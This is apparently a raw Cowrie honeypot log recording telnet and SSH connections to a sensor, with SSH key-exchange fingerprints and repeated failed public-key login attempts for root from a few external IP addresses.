{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":49536,"dst_ip":"10.17.0.5","dst_port":23,"session":"83bd576da243","protocol":"telnet","message":"New connection: 166.62.124.255:49536 (10.17.0.5:23) [session: 83bd576da243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:14:56.886882Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":53384,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7fec5f8f1e7","protocol":"telnet","message":"New connection: 166.62.124.255:53384 (10.17.0.5:23) [session: f7fec5f8f1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:11.237892Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":54766,"dst_ip":"10.17.0.5","dst_port":23,"session":"85293131d30a","protocol":"telnet","message":"New connection: 166.62.124.255:54766 (10.17.0.5:23) [session: 85293131d30a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:15.780194Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.222.138.237","src_port":57008,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d57ff0b1f05","protocol":"ssh","message":"New connection: 185.222.138.237:57008 (10.17.0.5:22) [session: 1d57ff0b1f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:22.612729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:22.618676Z","src_ip":"185.222.138.237","session":"1d57ff0b1f05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:22.729381Z","src_ip":"185.222.138.237","session":"1d57ff0b1f05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:03:24:0b:40:b8:aa:eb:90:9a:bc:c9:7f:ca:28:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn2AzRETL6xUPz/Ub89q3rxXgQI4kJJ7AMmHNToxHXanzxeP++EnrEcVwSLJWUKilwpiayMJT3LwzGfgO2TB0ku7eziL/oe2I/WqXZ2WQKvW6kQuyVaL9T3DHhvruis4B2J7zW9CbpqR5jT2UcViXEOO1fQql4S5eJgttLyLQ3fPTwRtm7B/DmeovISAb9cAXt2sLR3S0A3XQbtSZuoGwKhyDv+OJlMeuY+6cAwk1sB8fu0jreYaylx4VJfDbvbG7Hvq8vorIstTl3VtGbcLWGgT995RGD81UKq6p1R4Yj53Qes1ZKbP4eAx24rUHD5pqXfym23UBr7ns/5tFe3kDP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:03:24:0b:40:b8:aa:eb:90:9a:bc:c9:7f:ca:28:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:23.249686Z","src_ip":"185.222.138.237","session":"1d57ff0b1f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:03:24:0b:40:b8:aa:eb:90:9a:bc:c9:7f:ca:28:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn2AzRETL6xUPz/Ub89q3rxXgQI4kJJ7AMmHNToxHXanzxeP++EnrEcVwSLJWUKilwpiayMJT3LwzGfgO2TB0ku7eziL/oe2I/WqXZ2WQKvW6kQuyVaL9T3DHhvruis4B2J7zW9CbpqR5jT2UcViXEOO1fQql4S5eJgttLyLQ3fPTwRtm7B/DmeovISAb9cAXt2sLR3S0A3XQbtSZuoGwKhyDv+OJlMeuY+6cAwk1sB8fu0jreYaylx4VJfDbvbG7Hvq8vorIstTl3VtGbcLWGgT995RGD81UKq6p1R4Yj53Qes1ZKbP4eAx24rUHD5pqXfym23UBr7ns/5tFe3kDP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:23.254448Z","src_ip":"185.222.138.237","session":"1d57ff0b1f05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:91:0d:d5:15:54:ba:99:54:75:56:83:bc:11:bf:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFemMPBCs7kvILNyddkeVr3EpmhR9Zgoz+cqYks2NkwfSWXqw2SroTKAqNHNdGw6wXu9SPjibFg0KIxqxcybmW38gxds9Vlkq916AtlvqNVIbQ2Qr+XyqLkSL0ZBeDb2olQ++3QlWINQ9QUR0JRzABQ5R6F85DJHQCUeUT1IqLGNVfAQ9ApYHKwgxi4bVG7xW3WpEmGdK0gerWDw5JVCtlLQP4ikl2ywiUSFIaj8MTrR16SLTxIkKRHV4zGKg2quyOAm/ehUzpfSb2zMrY5IoVrGrKxvA6y2fQ2MS8mDtBMpUOjIB93xatHtQutwKUKEQPoJzNs3DzxD6U6IU2j3tz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:91:0d:d5:15:54:ba:99:54:75:56:83:bc:11:bf:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:23.363803Z","src_ip":"185.222.138.237","session":"1d57ff0b1f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:91:0d:d5:15:54:ba:99:54:75:56:83:bc:11:bf:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFemMPBCs7kvILNyddkeVr3EpmhR9Zgoz+cqYks2NkwfSWXqw2SroTKAqNHNdGw6wXu9SPjibFg0KIxqxcybmW38gxds9Vlkq916AtlvqNVIbQ2Qr+XyqLkSL0ZBeDb2olQ++3QlWINQ9QUR0JRzABQ5R6F85DJHQCUeUT1IqLGNVfAQ9ApYHKwgxi4bVG7xW3WpEmGdK0gerWDw5JVCtlLQP4ikl2ywiUSFIaj8MTrR16SLTxIkKRHV4zGKg2quyOAm/ehUzpfSb2zMrY5IoVrGrKxvA6y2fQ2MS8mDtBMpUOjIB93xatHtQutwKUKEQPoJzNs3DzxD6U6IU2j3tz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:23.368009Z","src_ip":"185.222.138.237","session":"1d57ff0b1f05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:e1:0c:b7:b9:15:fe:89:43:6b:14:11:c5:f2:d0:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4IbCOs77eqoBFIplnuLncXP7nd3cUK8N3mqOWPpUnCBD2usOKxoa/6nZpkkTRKl+ZPjzWvLxV39LkU9PrH85UOhqONIsF65DhdRfSesqsUSzmQZcU0PwerWBID/88+N802tPLM0dJcaXA7fsPPj+pefg8Kp3hcDLECXJyTBT/GjwHpTYnEm4sl52PTUvaY2JeKYGJ3s0ceJ2Uu5T8TeDYjodOaL9TXzbCLxRYYjNRC8/7R4ANLoW0ennLwK3TfpmVzSbNPV35osU4qHIRzGY2C4XAv2cDxgd/mLqu6vVOTVEm8t1ZAVNy8/4J/+ZfPZ8E87FsLyxyAnQC7oaQmezdQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:e1:0c:b7:b9:15:fe:89:43:6b:14:11:c5:f2:d0:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:23.477750Z","src_ip":"185.222.138.237","session":"1d57ff0b1f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:e1:0c:b7:b9:15:fe:89:43:6b:14:11:c5:f2:d0:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4IbCOs77eqoBFIplnuLncXP7nd3cUK8N3mqOWPpUnCBD2usOKxoa/6nZpkkTRKl+ZPjzWvLxV39LkU9PrH85UOhqONIsF65DhdRfSesqsUSzmQZcU0PwerWBID/88+N802tPLM0dJcaXA7fsPPj+pefg8Kp3hcDLECXJyTBT/GjwHpTYnEm4sl52PTUvaY2JeKYGJ3s0ceJ2Uu5T8TeDYjodOaL9TXzbCLxRYYjNRC8/7R4ANLoW0ennLwK3TfpmVzSbNPV35osU4qHIRzGY2C4XAv2cDxgd/mLqu6vVOTVEm8t1ZAVNy8/4J/+ZfPZ8E87FsLyxyAnQC7oaQmezdQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:23.481291Z","src_ip":"185.222.138.237","session":"1d57ff0b1f05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:92:97:88:d7:59:ce:1e:8e:8a:0f:6c:1e:bc:cc:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5hZv74DHld9mYTh1c9qt9ljgHNDLLJu9ASlYbiTn2W9Bir9tAhYN7KRth4Blxcn31JSFVk7oYJ2llidQJFEmAlkdmp6aNLuQyPYI7vVfm60uiMSH5aNcrBMm+c8ElsugcOaSGOBVGwZJSm7F6fqyC/oub7qSDx8OaOwomAQexZMB1q/bJZ1EOqXsO9CBnmj42NdJ8+SB9f0g3bW+0ahUYfKnssCw0fsT88mAvCJwZtjodPvhs+slAa6AV7bQXPSKz/Ny5/ltYp2ifJ+xIJ0YBUjCjx0+WohCSsqZVLRVkAshSA7pZ3e8L72BvjDnEr/uDJ1xD6JAdOR2E0dDZhrYr/PweoqOEG36BdoDsr3n5PlQyV7m4pKCEU1f06a3mklE+v2e3DL+KW1v+btB1pV5XjZHtYgm/gGULyNDE+d99dEvEZF9XwRQ8C/UuC8bDQJMkxwVwotXWT0TNf/XuaYw1VlJ3a0+4AEYy6jKaOtW37y3Q/tS9rNH1Av4nPuHMMg0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:92:97:88:d7:59:ce:1e:8e:8a:0f:6c:1e:bc:cc:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:23.590898Z","src_ip":"185.222.138.237","session":"1d57ff0b1f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:92:97:88:d7:59:ce:1e:8e:8a:0f:6c:1e:bc:cc:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5hZv74DHld9mYTh1c9qt9ljgHNDLLJu9ASlYbiTn2W9Bir9tAhYN7KRth4Blxcn31JSFVk7oYJ2llidQJFEmAlkdmp6aNLuQyPYI7vVfm60uiMSH5aNcrBMm+c8ElsugcOaSGOBVGwZJSm7F6fqyC/oub7qSDx8OaOwomAQexZMB1q/bJZ1EOqXsO9CBnmj42NdJ8+SB9f0g3bW+0ahUYfKnssCw0fsT88mAvCJwZtjodPvhs+slAa6AV7bQXPSKz/Ny5/ltYp2ifJ+xIJ0YBUjCjx0+WohCSsqZVLRVkAshSA7pZ3e8L72BvjDnEr/uDJ1xD6JAdOR2E0dDZhrYr/PweoqOEG36BdoDsr3n5PlQyV7m4pKCEU1f06a3mklE+v2e3DL+KW1v+btB1pV5XjZHtYgm/gGULyNDE+d99dEvEZF9XwRQ8C/UuC8bDQJMkxwVwotXWT0TNf/XuaYw1VlJ3a0+4AEYy6jKaOtW37y3Q/tS9rNH1Av4nPuHMMg0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:23.595816Z","src_ip":"185.222.138.237","session":"1d57ff0b1f05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:67:8b:5e:83:4c:c9:9f:07:62:fb:19:90:07:8e:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpwanDqMf9LfgM0SbPmi5oYKyN05NPwilgyFWY4CMgaSXnWiMq3GbW4fUD/VzvH4yD5Q0lvyHgtUSd9gg+gNpSrXhCDriNgQJe9QAWVcW+b/4vCR03dJcGKZImSraeMbTaw9i2OLy5yUXl88AD+EfgaVffEXXe/t3aAe/8sKTard12mQ0hQAb4KZte0ls1J/1hD+sVpP9s1SlZRGGCcHadvsySEmD3k+qWjUwFxM5WNXo7i53Vdx9Y/TAX5LAskijQy7C6i1mIKbktMK98dEe9PE4cjvXX2I4Ua98ZsaVGSdku2gNMHd864N42S0QUmBhAavXy5lSMxIeGol559ViacazkwY+tyf74SY636qCDPBt+yNZTbceoSE6I8bIj4+4jX9X73Q3Yr/SaN4wN/vhGtfvMwfcmKdSppPrKKe2r05ynG6FDYkTAlpnqGz+zlHnlGjICqA9SvgUotOkQbnzgZRMdk4U/06HyC4K4EN40QBqctv0NDlTrykya0RaDmDM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:67:8b:5e:83:4c:c9:9f:07:62:fb:19:90:07:8e:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:23.707418Z","src_ip":"185.222.138.237","session":"1d57ff0b1f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:67:8b:5e:83:4c:c9:9f:07:62:fb:19:90:07:8e:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpwanDqMf9LfgM0SbPmi5oYKyN05NPwilgyFWY4CMgaSXnWiMq3GbW4fUD/VzvH4yD5Q0lvyHgtUSd9gg+gNpSrXhCDriNgQJe9QAWVcW+b/4vCR03dJcGKZImSraeMbTaw9i2OLy5yUXl88AD+EfgaVffEXXe/t3aAe/8sKTard12mQ0hQAb4KZte0ls1J/1hD+sVpP9s1SlZRGGCcHadvsySEmD3k+qWjUwFxM5WNXo7i53Vdx9Y/TAX5LAskijQy7C6i1mIKbktMK98dEe9PE4cjvXX2I4Ua98ZsaVGSdku2gNMHd864N42S0QUmBhAavXy5lSMxIeGol559ViacazkwY+tyf74SY636qCDPBt+yNZTbceoSE6I8bIj4+4jX9X73Q3Yr/SaN4wN/vhGtfvMwfcmKdSppPrKKe2r05ynG6FDYkTAlpnqGz+zlHnlGjICqA9SvgUotOkQbnzgZRMdk4U/06HyC4K4EN40QBqctv0NDlTrykya0RaDmDM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:23.711909Z","src_ip":"185.222.138.237","session":"1d57ff0b1f05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:23.822023Z","src_ip":"185.222.138.237","session":"1d57ff0b1f05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.225.106","src_port":49384,"dst_ip":"10.17.0.5","dst_port":22,"session":"f61e0d86f769","protocol":"ssh","message":"New connection: 172.245.225.106:49384 (10.17.0.5:22) [session: f61e0d86f769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:24.338720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:24.343495Z","src_ip":"172.245.225.106","session":"f61e0d86f769","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:24.387893Z","src_ip":"172.245.225.106","session":"f61e0d86f769","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:03:24:0b:40:b8:aa:eb:90:9a:bc:c9:7f:ca:28:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn2AzRETL6xUPz/Ub89q3rxXgQI4kJJ7AMmHNToxHXanzxeP++EnrEcVwSLJWUKilwpiayMJT3LwzGfgO2TB0ku7eziL/oe2I/WqXZ2WQKvW6kQuyVaL9T3DHhvruis4B2J7zW9CbpqR5jT2UcViXEOO1fQql4S5eJgttLyLQ3fPTwRtm7B/DmeovISAb9cAXt2sLR3S0A3XQbtSZuoGwKhyDv+OJlMeuY+6cAwk1sB8fu0jreYaylx4VJfDbvbG7Hvq8vorIstTl3VtGbcLWGgT995RGD81UKq6p1R4Yj53Qes1ZKbP4eAx24rUHD5pqXfym23UBr7ns/5tFe3kDP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:03:24:0b:40:b8:aa:eb:90:9a:bc:c9:7f:ca:28:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:24.582608Z","src_ip":"172.245.225.106","session":"f61e0d86f769","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:03:24:0b:40:b8:aa:eb:90:9a:bc:c9:7f:ca:28:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn2AzRETL6xUPz/Ub89q3rxXgQI4kJJ7AMmHNToxHXanzxeP++EnrEcVwSLJWUKilwpiayMJT3LwzGfgO2TB0ku7eziL/oe2I/WqXZ2WQKvW6kQuyVaL9T3DHhvruis4B2J7zW9CbpqR5jT2UcViXEOO1fQql4S5eJgttLyLQ3fPTwRtm7B/DmeovISAb9cAXt2sLR3S0A3XQbtSZuoGwKhyDv+OJlMeuY+6cAwk1sB8fu0jreYaylx4VJfDbvbG7Hvq8vorIstTl3VtGbcLWGgT995RGD81UKq6p1R4Yj53Qes1ZKbP4eAx24rUHD5pqXfym23UBr7ns/5tFe3kDP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:24.586651Z","src_ip":"172.245.225.106","session":"f61e0d86f769","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:91:0d:d5:15:54:ba:99:54:75:56:83:bc:11:bf:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFemMPBCs7kvILNyddkeVr3EpmhR9Zgoz+cqYks2NkwfSWXqw2SroTKAqNHNdGw6wXu9SPjibFg0KIxqxcybmW38gxds9Vlkq916AtlvqNVIbQ2Qr+XyqLkSL0ZBeDb2olQ++3QlWINQ9QUR0JRzABQ5R6F85DJHQCUeUT1IqLGNVfAQ9ApYHKwgxi4bVG7xW3WpEmGdK0gerWDw5JVCtlLQP4ikl2ywiUSFIaj8MTrR16SLTxIkKRHV4zGKg2quyOAm/ehUzpfSb2zMrY5IoVrGrKxvA6y2fQ2MS8mDtBMpUOjIB93xatHtQutwKUKEQPoJzNs3DzxD6U6IU2j3tz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:91:0d:d5:15:54:ba:99:54:75:56:83:bc:11:bf:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:24.631510Z","src_ip":"172.245.225.106","session":"f61e0d86f769","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:91:0d:d5:15:54:ba:99:54:75:56:83:bc:11:bf:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFemMPBCs7kvILNyddkeVr3EpmhR9Zgoz+cqYks2NkwfSWXqw2SroTKAqNHNdGw6wXu9SPjibFg0KIxqxcybmW38gxds9Vlkq916AtlvqNVIbQ2Qr+XyqLkSL0ZBeDb2olQ++3QlWINQ9QUR0JRzABQ5R6F85DJHQCUeUT1IqLGNVfAQ9ApYHKwgxi4bVG7xW3WpEmGdK0gerWDw5JVCtlLQP4ikl2ywiUSFIaj8MTrR16SLTxIkKRHV4zGKg2quyOAm/ehUzpfSb2zMrY5IoVrGrKxvA6y2fQ2MS8mDtBMpUOjIB93xatHtQutwKUKEQPoJzNs3DzxD6U6IU2j3tz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:24.635578Z","src_ip":"172.245.225.106","session":"f61e0d86f769","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:e1:0c:b7:b9:15:fe:89:43:6b:14:11:c5:f2:d0:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4IbCOs77eqoBFIplnuLncXP7nd3cUK8N3mqOWPpUnCBD2usOKxoa/6nZpkkTRKl+ZPjzWvLxV39LkU9PrH85UOhqONIsF65DhdRfSesqsUSzmQZcU0PwerWBID/88+N802tPLM0dJcaXA7fsPPj+pefg8Kp3hcDLECXJyTBT/GjwHpTYnEm4sl52PTUvaY2JeKYGJ3s0ceJ2Uu5T8TeDYjodOaL9TXzbCLxRYYjNRC8/7R4ANLoW0ennLwK3TfpmVzSbNPV35osU4qHIRzGY2C4XAv2cDxgd/mLqu6vVOTVEm8t1ZAVNy8/4J/+ZfPZ8E87FsLyxyAnQC7oaQmezdQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:e1:0c:b7:b9:15:fe:89:43:6b:14:11:c5:f2:d0:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:24.682934Z","src_ip":"172.245.225.106","session":"f61e0d86f769","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:e1:0c:b7:b9:15:fe:89:43:6b:14:11:c5:f2:d0:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4IbCOs77eqoBFIplnuLncXP7nd3cUK8N3mqOWPpUnCBD2usOKxoa/6nZpkkTRKl+ZPjzWvLxV39LkU9PrH85UOhqONIsF65DhdRfSesqsUSzmQZcU0PwerWBID/88+N802tPLM0dJcaXA7fsPPj+pefg8Kp3hcDLECXJyTBT/GjwHpTYnEm4sl52PTUvaY2JeKYGJ3s0ceJ2Uu5T8TeDYjodOaL9TXzbCLxRYYjNRC8/7R4ANLoW0ennLwK3TfpmVzSbNPV35osU4qHIRzGY2C4XAv2cDxgd/mLqu6vVOTVEm8t1ZAVNy8/4J/+ZfPZ8E87FsLyxyAnQC7oaQmezdQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:24.687065Z","src_ip":"172.245.225.106","session":"f61e0d86f769","protocol":"ssh"}
